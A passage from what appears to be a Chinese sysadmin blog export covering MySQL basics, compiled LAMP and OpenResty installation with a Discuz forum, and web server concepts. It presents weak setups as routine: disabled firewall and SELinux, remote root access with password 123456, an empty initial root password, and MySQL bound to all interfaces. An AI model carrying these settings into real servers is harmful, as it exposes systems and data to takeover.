数据世界又称机器世界.信息世界的信息在机器世界中以数据形式存储,在这里,每一个实体用记录表示,相应于实体的属性用数据项(又称字段)来表示,现实世界中的事物及其联系用数据模型来表示. 现实世界中客观对象的抽象过程如下图所示: 数据库相关概念数据库 数据库(Data Base,DB)是长期存放在计算机内、有组织的、可共享的相关数据的集合,它将数据按一定的数据模型组织、描述和存储,具有较小的冗余度、较高的数据独立性和易扩展性、可被各类用户共享等特点. 数据库管理系统 数据库管理系统(Data Base Management System,DBMS)是位于用户与操作系统(OS)之间的一层数据管理软件,它为用户或应用程序提供访问数据库的方法,包括数据库的创建、查询、更新及各种数据控制,它是数据库系统的核心. 数据库管理系统一般由计算机软件公司提供,目前比较流行的DBMS有Oracle、Access、SQL Server、MySQL、PostgreSQL等. 数据库应用系统 凡使用数据库技术管理其数据的系统都称为数据库应用系统(Data Base Application System).数据库应用系统的应用非常广泛,它可以用于事务管理、计算机辅助设计、计算机图形分析和处理及人工智能等系统中. 数据库系统 数据库系统(Data Base System,DBS)是指在计算机系统中引入数据库后的系统,它由计算机硬件、数据库、数据库管理系统(及其开发工具)、数据库应用系统、数据库用户构成. 数据库管理员 数据库管理员(Data Base Administrator,DBA)是高级用户,他的任务是对使用中的数据库进行整体维护和改进,负责数据库系统的正常运行,他是数据库系统的专职管理和维护人员. 数据库系统的各组成部分的层次关系 MySQL自动建立的数据库介绍MySQL安装完成之后,将会在其data目录下自动创建information_schema、mysql、performance_schema、sys四个数据库.可以使用SHOW DATABASES命令来查看当前所有存在的数据库. 数据库名称 数据库作用 mysql 描述用户访问权限 information_schema 保存关于MySQL服务器所维护的所有其他数据库的信息.如数据库名、数据库的表、表栏的数据类型与访问权限等 MySQL安装及启动https://www.mysql.com/https://www.mysql.com/ https://downloads.mysql.com/archives/installer/https://downloads.mysql.com/archives/installer/ 安装可参考以下大佬的文章: https://blog.csdn.net/qq_27009225/article/details/103956756https://blog.csdn.net/qq_27009225/article/details/103956756 版本类型 MySQL Community Server MySQL Enterprise Edition 成本 免费 收费 技术支持 无官方支持 官方提供 试用期 不适用 30天试用期 版本 8.0.26(社区版的最新版本) 取决于企业版的发布周期 启动停止MySQL安装完成之后,在系统启动时,会自动启动MySQL服务,我们无需手动启动了.当然,也可以手动的通过指令启动停止,以管理员身份运行cmd,进入命令行执行如下指令: 12net start mysql80 net stop mysql80 请在安装完毕后配置PATH环境变量 连接MySQL1mysql -h主机地址 -u用户名 -p用户密码 连接到本机上的MySQL1mysql -uroot -p 连接到远程主机上的MySQL12# 假设远程主机的IP为:192.168.206.100,用户名为root,密码为12345678mysql -h192.168.206.100 -uroot -p12345678; 退出MySQL命令1exit/quit; MySQL–修改密码1格式:mysqladmin -u用户名 -p旧密码 password 新密码 root密码为空时,设置root密码12# 因为开始时root没有密码,所以-p旧密码 可以省略mysqladmin -uroot newpassword; 使用 sqladmin 命令修改密码1mysqladmin -uroot -p123456 password 12345678; 使用set passsword命令修改密码1set password for 用户名@localhost = password('新密码'); 忘记root密码情况下 关闭正在运行的MySQL服务. 打开DOS窗口,转到mysql\\bin目录. 输入mysqld –skip-grant-tables 回车.–skip-grant-tables 的意思是启动MySQL服务的时候跳过权限表认证. 再开一个DOS窗口(因为刚才那个DOS窗口已经不能动了),输入mysql回车,如果成功,将出现MySQL提示符 >. 使用权限数据库: use mysql; 改密码update user set password=password("新密码") where user="root"; 刷新权限(必须步骤):flush privileges; 退出mysql quit;","tags":["Centos","运维","Mysql","数据库"],"categories":["安全运维","数据库"]},{"title":"Linux-Web服务器搭建的艺术","path":"/2024/01/28/afbfc1f7/","content":"总字符数: 22.19K 代码: 13.09K, 文本: 2.54K 预计阅读时间: 1.13 小时 引言: LAMP架构是目前成熟的企业网站应用模式之一,指的是协同工作的一整台系统和相关软件,能够提供动态web站点服务及其应用开发环境,LAMP是一个缩写词,具体包括Linux操作系统,Apache网站服务器,MySQL数据库服务器,PHP(或perl,Python)网页编程语言 一、LAMP概述LAMP架构是目前成熟的企业网站应用模式之一,指的是协同工作的一整套系统和相关软件,能够提供动态Web站点服务及其应用开发环境.LAMP是一个缩写词,具体包括Linux操作系统、Apache网站服务器、MySQL数据库服务器、PHP(或Perl、Python)网页编程语言. 1、各组件作用 组件 代号 描述 Linux L 作为LAMP架构的基础,提供用于支撑Web站点的操作系统,能够与其他三个组件提供更好的稳定性,兼容性(AMP组件也支持Windows、UNIX等平台). Apache A 作为LAMP架构的前端,是一款功能强大,稳定性好的Web服务器程序,该服务器直接面向用户提供网站访问,发送网页,图片等文件内容.(静态页面—>静态请求 http) MySQL M 作为LAMP架构的后端,是一款流行的开源关系数据库系统.在企业网站、业务系统等应用中,各种账户信息、产品信息,客户资料、业务数据等都可以存储到MySQL数据库,其他程序可以通过SQL语句来查询,更改这些信息.(数据库—>数据储存/读取) PHP/Perl/Python P 作为三种开发动态网页的编程语言,负责解释动态网页文件,负责沟通Web服务器和数据库系统以协同工作,并提供Web应用程序的开发和运行环境.其中PHP是一种被广泛应用的开放源代码的多用途脚本语言,它可以嵌入到HTML中,尤其适合于Web应用开发.(动态页面—->动态请求 http) 2、各组件安装顺序在构建LAMP平台时,各组件的安装顺序依次为Linux、Apache、MySQL、PHP.其中Apache和MySQL的安装并没有严格的顺序,PHP环境的安装一般放到最后安装,负责沟通 Web 服务器和数据库系统以协同工作. 3.数据流向 二、编译安装Apache httpd服务1.关闭防火墙,将安装Apache所需软件包传到/opt目录下1234567systemctl stop firewalldsystemctl disable firewalld# 关闭selinucvim /etc/selinux/configSELINUX=enforcing# 改成disable https://archive.apache.org/dist/apr/apr-1.6.2.tar.gzhttps://archive.apache.org/dist/apr/apr-1.6.2.tar.gz https://archive.apache.org/dist/apr/apr-util-1.6.0.tar.gzhttps://archive.apache.org/dist/apr/apr-util-1.6.0.tar.gz https://archive.apache.org/dist/httpd/httpd-2.4.29.tar.gzhttps://archive.apache.org/dist/httpd/httpd-2.4.29.tar.gz apr组件包用于支持Apache上层应用跨平台,提供底层接口库,能有效的降低并发连接数、降低进程和减少访问堵塞. 2.安装环境依赖包1234567891011yum -y install \\gcc \\ #C语言的编译器gcc-c++ \\ #C++的编译器make \\ #源代码编译器(源代码转换成二进制文件)pcre \\ #pcre是一个Perl函数库,包括perl 兼容的正则表达式库pcre-devel \\ #perl的接口开发包expat-devel \\ #用于支持网站解析HTML、XML文件perl #perl语言编译# yum remove -y httpd # 删除旧版本的httpdyum -y install gcc gcc-c++ make pcre pcre-devel expat-devel perl 3.配置软件模块1234567891011121314151617cd /opt/lamp/apache/tar zxf apr-1.6.2.tar.gztar zxf apr-util-1.6.0.tar.gztar zxf httpd-2.4.29.tar.gzmv apr-1.6.2 /opt/lamp/apache/httpd-2.4.29/srclib/aprmv apr-util-1.6.0 /opt/lamp/apache/httpd-2.4.29/srclib/apr-utilcd httpd-2.4.29/./configure \\--prefix=/usr/local/httpd \\ #指定将 httpd 服务程序的安装路径--enable-so \\ #启用动态加载模块支持,使 httpd 具备进一步扩展功能的能力--enable-rewrite \\ #启用网页地址重写功能,用于网站优化、防盗链及目录迁移维护--enable-charset-lite \\ #启动字符集支持,以便支持使用各种字符集编码的页面--enable-cgi #启用CGI(通用网关接口)脚本程序支持,便于网站的外部扩展应用访问能力./configure --prefix=/usr/local/httpd --enable-so --enable-rewrite --enable-charset-lite --enable-cgi 4.编译及安装1make -j 2 && make install #make -j 2 表示开2核同时进行编译 5.优化配置文件路径,并把httpd服务的可执行程序文件放入路径环境变量的目录中便于系统识别12ln -s /usr/local/httpd/conf/httpd.conf /etc/ln -s /usr/local/httpd/bin/* /usr/local/bin/ 6.添加httpd系统服务方法一: 1234567891011cp /usr/local/httpd/bin/apachectl /etc/init.d/httpd #用于service服务管理chmod +x /etc/init.d/httpdvi /etc/init.d/httpd #在第一行后插入新行,添加此三行内容# chkconfig: 35 85 21 #35级别自动运行 第85个启动 第21个关闭# description: Apache is a World Wide Web serverchkconfig --add httpd #将httpd服务加入到service管理器systemctl start httpd.service或service httpd start 方法二: 123456789101112131415vim /lib/systemd/system/httpd.service[Unit]Description=The Apache HTTP Server #描述After=network.target #描述服务类别[Service]Type=forking #后台运行方式PIDFile=/usr/local/httpd/logs/httpd.pid #PID文件位置ExecStart=/usr/local/bin/apachectl $OPTIONS #启动服务ExecReload=/bin/kill -HUP $MAINPID #根据PID重载配置[Install]WantedBy=multi-user.targetsystemctl start httpd.servicesystemctl enable httpd.service 7.修改httpd 服务配置文件1234567891011121314vim /etc/httpd.conf# 52行--修改Listen 192.168.64.170:80# 197行--取消注释,修改ServerName 192.168.64.170:80# 221行--默认首页存放路径DocumentRoot "/usr/local/httpd/htdocs"# 255行--默认首页文件名设置DirectoryIndex index.htmlhttpd -t 或 apachectl -t #检查配置文件的配置项是否有误cat /usr/local/httpd/htdocs/index.htmlsystemctl restart httpd.service 浏览器访问验证1http://192.168.64.170 三、编译安装mysqld 服务1.下载相关文件https://dev.mysql.com/get/Downloads/MySQL-5.7/mysql-5.7.18.tar.gzhttps://dev.mysql.com/get/Downloads/MySQL-5.7/mysql-5.7.18.tar.gz https://downloads.sourceforge.net/project/boost/boost/1.59.0/boost_1_59_0.tar.gzhttps://downloads.sourceforge.net/project/boost/boost/1.59.0/boost_1_59_0.tar.gz 2.安装环境依赖包12345678yum -y install \\gcc \\gcc-c++ curses \\ #字符终端下图形互动功能的动态库ncurses-devel \\ #ncurses开发包bison \\ #语法分析器cmake #mysql需要用cmake编译安装yum -y install gcc gcc-c++ ncurses ncurses-devel bison cmake 3.配置软件模块1234567891011121314151617181920212223cd /opt/lamp/mysqltar -zxvf mysql-5.7.18.tar.gztar -zxvf boost_1_59_0.tar.gzmv /opt/lamp/mysql/boost_1_59_0 /usr/local/boost #重命名cd mysql-5.7.18/cmake \\-DCMAKE_INSTALL_PREFIX=/usr/local/mysql \\ #指定mysql的安装路径-DMYSQL_UNIX_ADDR=/usr/local/mysql/mysql.sock \\ #指定mysql进程监听套接字文件(数据库连接文件)的存储路径 -DSYSCONFDIR=/etc \\ #指定配置文件的存储路径-DSYSTEMD_PID_DIR=/usr/local/mysql \\ #指定进程文件的存储路径-DDEFAULT_CHARSET=utf8 \\ #指定默认使用的字符集编码,如 utf8-DDEFAULT_COLLATION=utf8_general_ci \\ #指定默认使用的字符集校对规则-DWITH_EXTRA_CHARSETS=all \\ #指定支持其他字符集编码-DWITH_INNOBASE_STORAGE_ENGINE=1 \\ #安装INNOBASE存储引擎-DWITH_ARCHIVE_STORAGE_ENGINE=1 \\ #安装ARCHIVE存储引擎 -DWITH_BLACKHOLE_STORAGE_ENGINE=1 \\ #安装BLACKHOLE存储引擎 -DWITH_PERFSCHEMA_STORAGE_ENGINE=1 \\ #安装FEDERATED存储引擎 -DMYSQL_DATADIR=/usr/local/mysql/data \\ #指定数据库文件的存储路径-DWITH_BOOST=/usr/local/boost \\ #指定boost的路径,若使用mysql-boost集成包安装则-DWITH_BOOST=boost-DWITH_SYSTEMD=1 #生成便于systemctl管理的文件 123456789101112131415cmake \\-DCMAKE_INSTALL_PREFIX=/usr/local/mysql \\-DMYSQL_UNIX_ADDR=/usr/local/mysql/mysql.sock \\-DSYSCONFDIR=/etc \\-DSYSTEMD_PID_DIR=/usr/local/mysql \\-DDEFAULT_CHARSET=utf8 \\-DDEFAULT_COLLATION=utf8_general_ci \\-DWITH_EXTRA_CHARSETS=all \\-DWITH_INNOBASE_STORAGE_ENGINE=1 \\-DWITH_ARCHIVE_STORAGE_ENGINE=1 \\-DWITH_BLACKHOLE_STORAGE_ENGINE=1 \\-DWITH_PERFSCHEMA_STORAGE_ENGINE=1 \\-DMYSQL_DATADIR=/usr/local/mysql/data \\-DWITH_BOOST=/usr/local/boost \\-DWITH_SYSTEMD=1 **存储引擎选项:**MYISAM,MERGE,MEMORY,和CSV引擎是默认编译到服务器中,并不需要明确地安装.静态编译一个存储引擎到服务器,使用-DWITH_engine_STORAGE_ENGINE= 1可用的存储引擎值有:ARCHIVE, BLACKHOLE, EXAMPLE, FEDERATED, INNOBASE (InnoDB), PARTITION (partitioning support), 和PERFSCHEMA (Performance Schema) 1注意:如果在CMAKE的过程中有报错,当报错解决后,需要把源码目录中的CMakeCache.txt文件删除,然后再重新CMAKE,否则错误依旧 4.编译及安装12make && make install# 需要长时间等待 5.创建mysql用户1useradd -M -s /sbin/nologin mysql 6.修改mysql 配置文件1234567891011121314151617181920vim /etc/my.cnf #删除原配置项,再重新添加下面内容[client] #客户端设置port = 3306socket=/usr/local/mysql/mysql.sock [mysqld] #服务全局设置user = mysql #设置管理用户basedir=/usr/local/mysql #指定数据库的安装目录datadir=/usr/local/mysql/data #指定数据库文件的存储路径port = 3306 #指定端口character-set-server=utf8 #设置服务器字符集编码格式为utf8pid-file = /usr/local/mysql/mysqld.pid #指定pid 进程文件路径socket=/usr/local/mysql/mysql.sock #指定数据库连接文件bind-address = 0.0.0.0 #设置监听地址,0.0.0.0代表允许所有,如允许多个IP需空格隔开skip-name-resolve #禁用DNS解析max_connections=2048 #设置mysql的最大连接数default-storage-engine=INNODB #指定默认存储引擎max_allowed_packet=16M #设置数据库接收的数据包大小的最大值server-id = 1 #指定服务ID号sql_mode=NO_ENGINE_SUBSTITUTION,STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_AUTO_VALUE_ON_ZERO,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,PIPES_AS_CONCAT,ANSI_QUOTES sql_mode常用值如下: 设置项 描述 NO_ENGINE_SUBSTITUTION 如果需要的存储引擎被禁用或未编译,那么抛出错误.不设置此值时,用默认的存储引擎替代,并抛出一个异常 STRICT_TRANS_TABLES 在该模式下,如果一个值不能插入到一个事务表中,则中断当前的操作,对非事务表不做限制 NO_AUTO_CREATE_USER 禁止GRANT语句创建密码为空的用户 NO_AUTO_VALUE_ON_ZERO 如果插入值为0的数据,自增长列将不会产生新的序列值,而是接受0这个值.默认情况下,自增长列是从1开始的,插入值为0的数据通常会报错 NO_ZERO_IN_DATE 不允许在日期值中使用月或日部分的零值 NO_ZERO_DATE 不允许向表中插入零日期(‘0000-00-00’),如果尝试这样做,将会抛出错误而不是警告 ERROR_FOR_DIVISION_BY_ZERO 在INSERT或UPDATE过程中,如果数据被零除,则产生错误而非警告.默认情况下,当数据被零除时,MySQL返回NULL PIPES_AS_CONCAT 将"||"视为字符串的连接操作符而非逻辑或运算符,这与Oracle数据库的行为一致,并且类似于字符串的拼接函数CONCAT ANSI_QUOTES 当启用ANSI_QUOTES时,不能使用双引号来引用字符串,因为它会被解释为标识符(如表名或列名) 7.更改mysql安装目录和配置文件的属主属组12chown -R mysql:mysql /usr/local/mysqlchown mysql:mysql /etc/my.cnf 8.设置路径环境变量12echo 'export PATH=/usr/local/mysql/bin:/usr/local/mysql/lib:$PATH' >> /etc/profile\tsource /etc/profile 9.初始化数据库123456cd /usr/local/mysql/bin/./mysqld \\--initialize-insecure \\ #生成初始化密码为空--user=mysql \\ #指定管理用户--basedir=/usr/local/mysql \\ #指定数据库的安装目录--datadir=/usr/local/mysql/data #指定数据库文件的存储路径 123456cd /usr/local/mysql/bin/./mysqld \\--initialize-insecure \\--user=mysql \\--basedir=/usr/local/mysql \\--datadir=/usr/local/mysql/data 10.添加mysqld系统服务12345cp /usr/local/mysql/usr/lib/systemd/system/mysqld.service /usr/lib/systemd/system/ #用于systemctl服务管理systemctl daemon-reload #刷新识别 systemctl start mysqld.service #开启服务systemctl enable mysqld #开机自启动netstat -anpt | grep 3306 #查看端口 11.修改mysql 的登录密码1mysqladmin -u root -p password "123456" #给root账号设置密码为123456,提示输入的是原始密码(为空) 12.授权远程登录12345mysql -u root -pgrant all privileges on *.* to 'root'@'%' identified by '123456';--授予root用户可以在所有终端远程登录,使用的密码是123456,并对所有数据库和所有表有操作权限show databases; --查看当前已有的数据库 四、编译安装PHP 解析环境1.下载相关文件https://museum.php.net/php7/php-7.1.24.tar.gzhttps://museum.php.net/php7/php-7.1.24.tar.gz https://gitee.com/3dming/DiscuzL/attach_fileshttps://gitee.com/3dming/DiscuzL/attach_files 2.安装GD库和GD库关联程序,用来处理和生成图片1yum -y install gd libjpeg libjpeg-devel libpng libpng-devel freetype freetype-devel libxml2 libxml2-devel zlib zlib-devel curl curl-devel openssl openssl-devel 3.配置软件模块123cd /opt/lamp/phptar -zxvf php-7.1.24.tar.gzcd php-7.1.24/ 123456789101112131415161718192021./configure \\--prefix=/usr/local/php7 \\ #指定将 PHP 程序的安装路径--with-apxs2=/usr/local/httpd/bin/apxs \\ #指定Apache httpd服务提供的apxs 模块支持程序的文件位置--with-mysql-sock=/usr/local/mysql/mysql.sock \\ #指定mysql 数据库连接文件的存储路径--with-config-file-path=/usr/local/php7 #设置 PHP 的配置文件 php.ini 将要存放的位置--with-mysqli \\ #添加 MySQL 扩展支持 #mysqli扩展技术不仅可以调用MySQL的存储过程、处理MySQL事务,而且还可以使访问数据库工作变得更加稳定--with-zlib \\ #支持zlib功能,提供数据压缩--with-curl \\ #开启curl扩展功能,实现HTTP的Get下载和Post请求的方法--with-gd \\ #激活gd 库的支持--with-jpeg-dir \\ #激活jpeg 的支持--with-png-dir \\ #激活png 的支持--with-freetype-dir \\--with-openssl \\--enable-mbstring \\ #启用多字节字符串功能,以便支持中文等代码--enable-xml \\ #开启扩展性标记语言模块--enable-session \\ #会话--enable-ftp \\ #文本传输协议--enable-pdo \\ #函数库--enable-tokenizer \\ #令牌解释器--enable-zip #ZIP压缩格式--enable-fpm # php-fpm 与nignx联动 1./configure --prefix=/usr/local/php7 --with-apxs2=/usr/local/httpd/bin/apxs --with-mysql-sock=/usr/local/mysql/mysql.sock --with-config-file-path=/usr/local/php7 --with-mysqli --with-zlib --with-curl --with-gd --with-jpeg-dir --with-png-dir --with-freetype-dir --with-openssl --enable-mbstring --enable-xml --enable-session --enable-ftp --enable-pdo --enable-tokenizer --enable-zip --enable-fpm 4.编译及安装1make && make install 5.复制模版文件作为PHP 的主配置文件,并进行修改12345678910#在测试环境时使用php.ini-development文件,而在生产环境时使用php.ini-production文件cp /opt/lamp/php/php-7.1.24/php.ini-development /usr/local/php7/php.ini\tcp /usr/local/php7/etc/php-fpm.conf.default /usr/local/php7/etc/php-fpm.confcp /usr/local/php7/etc/php-fpm.d/www.conf.default /usr/local/php7/etc/php-fpm.d/www.confvim /usr/local/php7/php.ini--939行--取消注释,修改date.timezone = Asia/Shanghai--1170行--修改mysqli.default_socket = /usr/local/mysql/mysql.sock 6.优化把PHP 的可执行程序文件放入路径环境变量的目录中便于系统识别123ln -s /usr/local/php7/bin/* /usr/local/bin/ln -s /usr/local/php7/sbin/php-fpm /usr/sbin/php7-fpmphp -m #查看PHP 加载了哪些模块 7.修改httpd服务的配置文件,让apache支持PHP12345678910vim /etc/httpd.conf ---160行检查支持php7的模块是否存在------LoadModule php7_module modules/libphp7.so--256行--修改首页文件名设置DirectoryIndex index.html index.php--397行--插入以下内容AddType application/x-httpd-php .phpAddType application/x-httpd-php-source .phps 8.验证PHP测试页1234567891011rm -rf /usr/local/httpd/htdocs/index.htmlvim /usr/local/httpd/htdocs/index.php<?phpphpinfo();?>systemctl restart httpd.service# 启动fpmphp7-fpm浏览器访问http://192.168.64.170/ 五、安装论坛12345678910111213141516171819202122232425262728293031323334mysql -u root -pmysql> CREATE DATABASE dz;#把dz数据库里面所有表的权限授予给dz,并设置密码# mysql> GRANT all ON dz.* TO 'dz'@'%' IDENTIFIED BY '123456';#刷新数据库mysql>flush privileges;cd /opt/lamp#解压论坛压缩包unzip Discuz-X3.4-SC-GBK-v20230315.zip -d /opt/dzcd /opt/dz#上传站点更新包cp -r upload/* /usr/local/httpd/htdocs/#切换论坛目录cd /usr/local/httpd/htdocs/#更改论坛目录属主(httpd安装若改配置文件为apache,则下方命令将daemon改为apache,并创建apache用户)chown -R daemon ./configchown -R daemon ./datachown -R daemon ./uc_clientchown -R daemon ./uc_server/data数据库服务器:localhost #本地架设就用localhost,如果不是在本机上就要填写IP地址和端口号数据库名字:bbs数据库用户名:bbuser数据库密码:自行输入管理员账号:admin管理员密码:自行输入 1.创建一个数据库 2.解压论坛压缩包 3.上传站点更新包 4.更改论坛目录属主 5.验证是否能登陆并注册用户 六、编译安装Nginx-Openresty服务(扩展与Apache二选一)123456789101112131415161718192021222324252627# 下载依赖环境yum install -y deltarpm gcc gcc-c++ unixODBC-devel httpd mysql-devel libcurl libcurl-devel libevent libevent-devel curl-devel libxml2 libxml2-devel net-snmp-devel pcre-devel java-devel openssl-devel perl-ExtUtils-Embed at python subversion gperf make rpm-build git bzip2-devel gd gd-devel t1lib t1lib-devel GeoIP-devel libatomic_ops-devel zlib-devel unzip libstdc++* net-snmp net-snmp* gmp gmp-devel openldap openldap-devel libpcap-devel glib2-devel GeoIP-devel vim wget git libtool make automake mlocate pam-devel unzip screen openssl iptables-services bash-completion* libxslt* curl net-tools libssh2-devel#进入opt目录cd /opt#下载Openresty二进制文件wget https://openresty.org/download/openresty-1.21.4.1.tar.gz #解压压缩包tar -zxvf openresty-1.21.4.1.tar.gz#进入到openresty-1.21.4.1/目录cd openresty-1.21.4.1/#准备编译参数./configure --prefix=/usr/local/nginx --sbin-path=/usr/sbin/nginx --conf-path=/usr/local/nginx/nginx.conf --pid-path=/var/run/nginx.pid --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --lock-path=/var/lock/nginx.lock --with-luajit --with-http_gunzip_module --with-pcre --with-pcre-jit --with-http_perl_module --with-ld-opt="-Wl,-rpath,/usr/local/nginx/luajit/lib -Wl,-E" --with-http_realip_module --with-http_secure_link_module --with-http_slice_module --with-http_ssl_module --with-http_stub_status_module --with-http_sub_module --with-http_v2_module --with-http_addition_module --with-http_xslt_module --with-http_image_filter_module --with-http_geoip_module --with-http_dav_module --with-http_flv_module --with-http_mp4_module --with-http_gzip_static_module --with-http_auth_request_module --with-http_random_index_module --with-select_module --with-poll_module --with-file-aio --with-http_degradation_module --with-libatomic --http-client-body-temp-path=/var/tmp/nginx/client_body --http-proxy-temp-path=/var/tmp/nginx/proxy --http-fastcgi-temp-path=/var/tmp/nginx/fastcgi --http-uwsgi-temp-path=/var/tmp/nginx/uwsgi --http-scgi-temp-path=/var/tmp/nginx/scgi#编译&安装make&&make install# 检查环境nginx -t# 创建相关文件和文件夹mkdir -p /var/tmp/nginx/client_bodymkdir -p /usr/local/nginx/nginx/logs/# 启动nginxnginx# 停止nginxnginx -s stop# 访问http://192.168.64.170/ 1234567891011121314151617181920212223242526272829303132# 将dz的源代码复制到nginx默认的网站根目录里cp -r /usr/lcoal/httpd/htdocs/* /usr/local/nginx/nginx/html#编辑nginx.conf配置文件vim /usr/local/nginx/nginx.conf#nginx.conf配置项 location / { # 如果安装dz论坛的话,把下方的html改成dz论坛所在的绝对路径,或者将文件都移动到/usr/local/nginx/nginx/html/ # 记得重新赋予权限 root html; index index.html index.htm index.php; } location ~ \\.php$ { root html; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root/$fastcgi_script_name; include fastcgi_params; }#检查nginx配置文件是否正确nginx -t#启动nginxnginx# 重新赋予权限chown -R nobody ./configchown -R nobody ./datachown -R nobody ./uc_clientchown -R nobody ./uc_server/data 上面图片里倒数第三行多了个;记得删掉 七、总结1.Apache编译安装方法 2.httpd服务支持的虚拟主机类型 3.MySQL数据库编译安装方法 4.构建PHP运行环境的方法 5.部署及使用phpMyAdmin系统的方法 6.Nginx编译安装方法","tags":["Centos","Mysql","数据库","Linux","PHP","Apache","OpenResty","SSL"],"categories":["安全运维","Web服务器"]},{"title":"Linux-Web服务器的概念","path":"/2024/01/27/81fbba05/","content":"总字符数: 12.32K 代码: 无, 文本: 7.25K 预计阅读时间: 32 分钟 Web服务概念 ​\tWeb服务器,也称为WWW(World Wide Web,万维网)服务器,其主要功能是提供网上信息浏览服务,使用户能够通过互联网访问网页内容.它处理用户的请求,并将网页内容(如HTML文档、图片等)发送到用户的浏览器中. 常见Web服务器软件以下是一些流行的 Web 服务器软件及其特点: Web服务软件 支持的语言 适用操作系统 Apache HTTP Server PHP 多平台(常用于Linux) Nginx PHP 多平台(常用于Linux) Tomcat Java(JSP + HTML) 多平台 Microsoft IIS ASP.NET Windows 详细说明 Apache HTTP Server:广泛应用于多种操作系统,通过模块化的方式可以扩展功能,支持包括PHP在内的多种编程语言. Nginx:以其高性能、高并发处理能力著称,适用于各种操作系统,并常被用作反向代理服务器. Tomcat:是Apache软件基金会的一个开源项目,主要运行Java Servlet和JavaServer Pages. Microsoft IIS:适用于Windows操作系统,与Microsoft的其他产品如Windows Server紧密结合,常用于ASP.NET应用. 客户端浏览器用户通过客户端浏览器发起网页请求,常见的浏览器包括: Internet Explorer (IE) Firefox Chrome Safari 各种手机浏览器 什么是PHP ​\tPHP(PHP: Hypertext Preprocessor,即”超文本预处理器”)是一种通用开源服务器端脚本语言,广泛用于Web开发,并可以嵌入HTML代码中.PHP以其高效率、跨平台和开放源码的特性成为众多流行网站的开发选择,例如WordPress、Digg和Facebook都采用了PHP作为开发语言.PHP的语法借鉴了C、Java和Perl,易于上手,是初学者和专业开发者广泛使用的语言之一.PHP主要执行在Web服务器上,通过执行PHP代码生成用户浏览器中的Web页面.它几乎可以在所有的服务器和操作系统上运行,且完全免费. 什么是PHP文件PHP文件通常是纯文本文件,包含了用PHP编程语言编写的代码.这些代码在服务器端执行,由服务器上的PHP解释引擎处理,并转换为客户端理解的HTML.PHP文件可能包含文本、HTML标记、CSS样式和PHP代码.当用户请求一个PHP页面时,服务器上的PHP引擎将执行PHP代码,生成HTML输出,并将其与文件中的其它内容合并,然后发送到用户的浏览器中.在浏览器中查看PHP页面的源代码时,不会显示原始的PHP代码,因为它在发送到客户端之前已经在服务器上被解析和执行了. PHP 可以做什么? 生成动态页面内容. 创建、打开、读取、写入、删除以及关闭服务器上的文件. 接收表单数据. 发送和管理cookies. 在数据库中添加、删除、修改数据. 限制用户访问网站中的特定页面. 加密数据以保护敏感信息. 生成图像、PDF文件和Flash影片,以及输出XHTML和XML等各种文本格式. PHP的优势 跨平台性,PHP支持大多数操作系统,包括Windows, Linux, Unix, Mac OS X等. 与众多Web服务器兼容,如Apache、Nginx、IIS等. 能够与多种数据库系统互操作,使其成为动态Web应用开发的理想选择. 学习成本低,尤其对于有C语言或C++基础的开发者更是易于掌握. 什么是Apache ​\tApache HTTP Server,通常简称为Apache,是由Apache软件基金会(ASF)开发的一款开源网页服务器软件.它可以运行在几乎所有的计算机操作系统上,尤其是在Unix-like系统(如Linux)和Windows系统上.Apache因其跨平台性和安全性而被广泛使用,长期以来一直是世界上最流行的Web服务器软件之一. Apache软件基金会(ASF)是一个非营利组织,负责支持Apache开源软件项目的一个集体.除了Apache HTTP Server,基金会还管理着多个开源项目,如: Ant:一个Java库和命令行工具,用于自动化构建过程. DB:多个数据库项目的集合,包括CouchDB和Derby. iBATIS:一个数据映射器框架,可以简化数据库与Java应用的集成. Jakarta:现已重命名为Apache Jakarta,是一系列相关的开源Java解决方案. Logging:提供日志记录的工具和库. Maven:一个项目管理和构建自动化工具. Struts:一个流行的开源MVC框架,用于构建Java Web应用程序. Tomcat:一个实现Java Servlet和JavaServer Pages技术的Web容器. Tapestry:一个用于创建复杂和高性能的Web应用程序的框架. Hadoop:一个用于分布式存储和处理大数据的平台. 尽管Apache软件基金会有多个项目,但”Apache”这个名字通常被用来指Apache HTTP Server,这是由于Apache HTTP Server的高知名度和广泛的应用. 可以访问官方网站了解更多信息和下载软件: https://www.apache.org/https://www.apache.org/ https://httpd.apache.org/https://httpd.apache.org/ ​\tApache是一种领先的开源Web服务器软件,极其擅长处理来自用户浏览器的HTTP请求,并以高效和可靠的方式,将网页、图片、脚本等静态资源传输给用户.它的设计注重性能,能够管理大量的网络连接和并发请求,确保用户获得快速的服务体验.Apache之所以受到青睐,不仅在于其性能上的优化,更在于其提供的安全性、扩展性与灵活的管理选项.通过其强大的模块系统,管理员可以轻松增加新的功能,比如URL重写、用户认证,以及SSL加密通信,来提升网站的安全性和功能性. ​\t在现代Web应用的开发中,Apache往往与PHP这样的脚本语言结合使用.PHP专注于服务端逻辑和生成动态内容,如根据用户的请求和数据库交互来创建个性化页面.Apache则负责处理更基础的HTTP请求和分发静态内容,它们的结合为开发带来了极大的灵活性和高效率.此外,Apache可以用作反向代理,将请求转发至PHP处理器,并由此实现更高效的资源使用和响应速度.尽管PHP内置的服务器对于开发和测试来说很便捷,但在性能优化、安全性保障和错误处理方面,它不适合生产环境.与之相对,专业的Web服务器如Apache,以其对静态资源的高效处理、复杂请求的认证、SSL加密的执行能力以及对DDoS攻击的防御措施,确保了Web应用在生产环境中的稳定和安全运行.这些特点让Apache成为了构建高性能和安全网站的首选基础设施. 什么是Nginx ​\tNGINX(发音为”engine-x”)是一款高性能的HTTP和反向代理服务器,同时也是一个IMAP/POP3/SMTP代理服务器.由俄罗斯程序员Igor Sysoev开发,最初旨在解决C10K问题,即同时处理大量(万级别)客户端连接的挑战.NGINX以其高稳定性、丰富的功能集、低内存占用及出色的并发处理能力而闻名,在提供Web服务的同时,也经常用于负载均衡和HTTP缓存. ​\tNGINX的设计着重于高并发、高性能和低内存使用.此外,它的模块化设计让用户能够灵活地扩展功能,例如,它支持URL重写和重定向、故障转移、SSL和TLS协议、WebSocket以及流媒体传输等.NGINX同时提供了丰富的配置选项,使其能够精细地控制网络连接、请求处理和数据流. ​\t在Web开发中,NGINX常常作为Apache的一种更轻量级的替代品使用.它能够高效地作为静态资源服务器并且处理PHP等动态脚本的请求,因此,它可以和PHP-FPM(FastCGI Process Manager)等技术配合使用,以提高处理PHP动态内容的能力. 